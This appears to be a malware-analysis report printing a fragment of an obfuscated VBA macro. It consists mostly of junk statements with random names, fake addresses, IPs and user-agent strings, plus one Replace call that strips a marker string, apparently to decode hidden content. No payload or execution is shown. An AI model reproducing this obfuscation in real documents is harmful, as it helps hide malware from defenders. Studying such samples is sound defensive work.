Ptnhywany = CLng("Crooks and SonsSuite 860Northwest")
Fdevuvguuqeo = Oct("Human77122 Eddie Track, South Maurine, El Salvador")
Frqxdwqhbhmtb = Rnd("Ball")
Ainmkrxlris = Tan("Dynamic051 Juana Fields, South Nyaside, Uzbekistan")
Rem 144.236.208.207
Second 32
Bpkehkse = Atn(Uddycwjbtqe)
Month Sqr("Legacy155 Kessler Mount, Lake Elouisemouth, Macao")
MonthName CByte("Beahan, Willms and BednarSuite 826Northwest")
Hour Fix(Rcvfifzpk)
Gmwhmrxlrtt = 465
Tvpigzmwi = "Customer16366 Zelda Trafficway, Kuvalisport, Niue"
Second Clfjzkzjkorp
Year 518
Pctsbpyt = "Mozilla/5.0 (Windows; U; Windows NT 6.3) AppleWebKit/531.2.2 (KHTML, like Gecko) Chrome/35.0.825.0 Safari/531.2.2"
'247.219.219.255
Nqqilgsyfd = Rnd(487)
Rem Balistreri - WehnerSuite 102North
Day CLng("46.35.30.168")
Gcwnyjxochse = Int(Cngxniyq)
Ckgjcucebcpf = 120
Second Nuizwedbk
Bbnlbtqwd = Int("Kunde and SonsSuite 054Northeast")
Comhfndzkxo = CInt("Quigley LLCSuite 298Northwest")
Tzyuboaaic = CBool("28.0.107.35")
Otajzjuuarun = Tan("3.46.47.88")
Rem Legacy109 Devante Pines, West Erica, Lao People's Democratic Republic
WeekdayName 133
Qylnjmaerbuwu = CBool(Nulloqudql)
Month Tan("Crona and SonsApt. 368South")
Hour CByte("Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/532.0.1 (KHTML, like Gecko) Chrome/32.0.898.0 Safari/532.0.1")
Weekday CInt(Gicflfcycput)
Kbzocofjnwjb = 656
Vvucvtuvov = "164.37.78.2"
Weekday Srixzsxvfsec
Second 716
Owvfwjetchusx = "225.255.194.0"
'Gloves
Pmdelwnbpxqef = Int(768)
Zkyxzpsgzqiw = Mgvtcwnvtah
Rem 179.138.170.204
MonthName Hex("Mozilla/5.0 (Windows NT 5.2; Win64; rv:10.2) Gecko/20100101 Firefox/10.2.9")
Reazgbjl = CBool(Ckjkphqkgdqj)
Udxndjziktvd = 604
Month Vhjabgalio
Djlflitffcdv = CDate("International6176 Kristopher Shoals, Hansenshire, Paraguay")
Vtaqomreoz = Sgn("61.4.121.82")
Hevjvixjfqx = CSng("40.158.115.1")
Nkkfsdosp = Sin("253.66.165.92")
Rem Mosciski - RolfsonApt. 036South
Minute 87
Kradcyvmm = Oct(Pkwhvxyg)
DateValue CSng("Sausages")
TimeValue Cos("Tuna")
Weekday Atn(Vibbhywvfxss)
Dhuhhulsnluaj = 912
Qtigloizb = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_8 rv:3.0; FR) AppleWebKit/533.0.0 (KHTML, like Gecko) Version/7.1.0 Safari/533.0.0"
MonthName Zqgxjxwxdncrz
Hour 141
Dvphhplnod = "Shoes"
'McGlynn, Pfannerstill and JohnstonApt. 741West
Cjvitmhvvm = CInt(468)
Rem Bike
Minute CSng("Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/534.1.1 (KHTML, like Gecko) Chrome/31.0.876.0 Safari/534.1.1")
Wgwwjkwue = CInt(Xdlhndbb)
Oygedfrpiyj = 594
MonthName Tbpxxmopcfjt
Nglzfvqhip = CStr("Towels")
Effwgscks = Cos("24.127.5.232")
Gdoazltxkntei = CBool("Hat")
Dybltzeqhikgy = Sgn("Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko")
Rem 142.64.77.66
Hour 52
Eshifvqvrwp = CByte(Tkbwagoej)
DateValue Round("127.113.165.66")
Year CSng("Farrell IncSuite 509North")
Minute CLng(Xbngrofugu)
Wzqemdjp = 562
Xxxhngscm = "120.15.104.231"
Year Vldijddrum
Minute 503
Jexjcbazrh = "177.26.112.187"
'Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/535.2.2 (KHTML, like Gecko) Chrome/27.0.842.0 Safari/535.2.2
Pjjaybein = Hex(854)
Hfkktrjumjt = "qqs" '
Rem Car
Day Tan("Tuna")
Heifypoibvuo = Sgn(Hqmdgbzbb)
Vyujozskoii = 682
Year Ukttifromh
Cahrrgcysdq = Sqr("Car")
Nwbdzyyucivhg = CDbl("Fish")
Tzjqcumzltwcg = Sqr("32.252.47.1")
Rtzuujpkmjtu = Atn("99.162.137.108")
Rem Gloves
DateValue 773
Lklmgettzreb = CLng(Kcvswkqbhmy)
Minute CInt("232.242.243.112")
Weekday CLng("31.103.137.204")
Weekday CSng(Owhjamhz)
Qzsyxuiptm = 995
Knaxobkc = "Soap"
Minute Ubexsieopqb
Month 70
Tdmthzwea = "Schulist - MarquardtSuite 288South"
'Mozilla/5.0 (X11; Linux i686 AppleWebKit/535.1.1 (KHTML, like Gecko) Chrome/37.0.833.0 Safari/535.1.1
Lujcxgpgmbf = Atn(9)
Rem National93036 Gutmann Mall, Konopelskiport, Spain
WeekdayName Oct("Lead2731 Daphne Divide, East Katherynfort, Uganda")
Atlxtulo = Int(Mbrofbxbjqon)
Hzljpxsgvt = 887
Weekday Sdpucsjtqsrv
Gqbzmnocptjb = CLng("Shirt")
Cgfxlkjtlpov = Hex("Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.1)")
Rpipzurcew = CDbl("251.233.67.197")
Gqovkatorkm = Sgn("Gislason, Bauch and TorphySuite 157North")
Rem 50.175.45.20
MonthName 284
Zlmfllqkdk = Rnd(Uceeacjqve)
Hour CStr("81.235.194.67")
Weekday Cos("67.89.126.42")
DateValue Sgn(Pfncpthco)
Iexskpfc = 484
Kpyojridcov = "Chips"
MonthName Pgxoukdxw
TimeValue 487
Wadjzbqb = "Schaefer and SonsSuite 567East"
'Halvorson GroupApt. 800East
Eppofczzmpep = CDbl(59)
Qiszcfbbgj = Replace(Zkyxzpsgzqiw, Hfkktrjumjt, "")
Rem Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/532.0.1 (KHTML, like Gecko) Chrome/37.0.869.0 Safari/532.0.1
Year CByte("Huels IncApt. 757Northeast")
Dczilwvzahyk = CDbl(Jmqvkpwxej)
Qucvqycp = 416
Month Eqnolscjdii
Hjssdxgy = CLng("Salad")
Igawfrzhls = Sin("Mouse")
Ziwedvufq = CSng("Ball")
Qvlxfyrnqo = Sqr("Global9325 Aufderhar Tunnel, Port Makayla, Botswana")
Rem 246.244.69.250
TimeValue 225
Ikwwsdbxo = CStr(Jkwzuldksoxka)
Day Sqr("Investor3515 Allen Meadow, Champlinhaven, Wallis and Futuna")
Day Int("Internal1439 Nella Haven, Bentonstad, Macao")
Second Sin(Uitedtsdnthy)
Pxuhwbmj = 995
Cneoplavdyjsd = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
DateValue Erhjfnnbi
Second 770
Ccergliwcqp = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.1) Gecko/20100101 Firefox/6.1.5"
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.0; Trident/7.0; .NET CLR 1.9.83377.1)
Btlueswukcs = CLng(369)
Rem Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/537.2.2 (KHTML, like Gecko) Chrome/17.0.875.0 Safari/537.2.2
Minute CBool("Keyboard")
Tjokiiosgfqqo = CBool(Bwodwgsuifi)
Eramejmrco = 741
Day Buondsfgpmusg
Aofeaffoped = Hex("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.0; Trident/5.0; .NET CLR 3.7.72713.9)")
Bwzhsgumd = Atn("Kulas - HyattApt. 564Southwest")
Ncxtrwifq = CDbl("Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/537.0.0 (KHTML, like Gecko) Chrome/18.0.825.0 Safari/537.0.0")
Cwjwrwfyia = Sqr("Harber, Metz and PowlowskiApt. 547Northeast")
Rem 204.240.208.157
Month 828
Etnmzatc = Sin(Arxhlxtwx)
Minute CByte("Dynamic5724 Aric Grove, Rhiannamouth, Belgium")
Year Oct("Kunde - HickleSuite 283Southwest")
Hour Fix(Qtcywoxgfy)
Csadjifxr = 167
Vsyjkifmckpo = "102.25.57.231"
Year Odlvvrjwkv
Day 761
Tjosytcyhg = "248.240.92.232"
'Pizza
Nyamcwnea = Sqr(57)
End Function
Attribute VB_Name = "Vmolktynuuou"
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.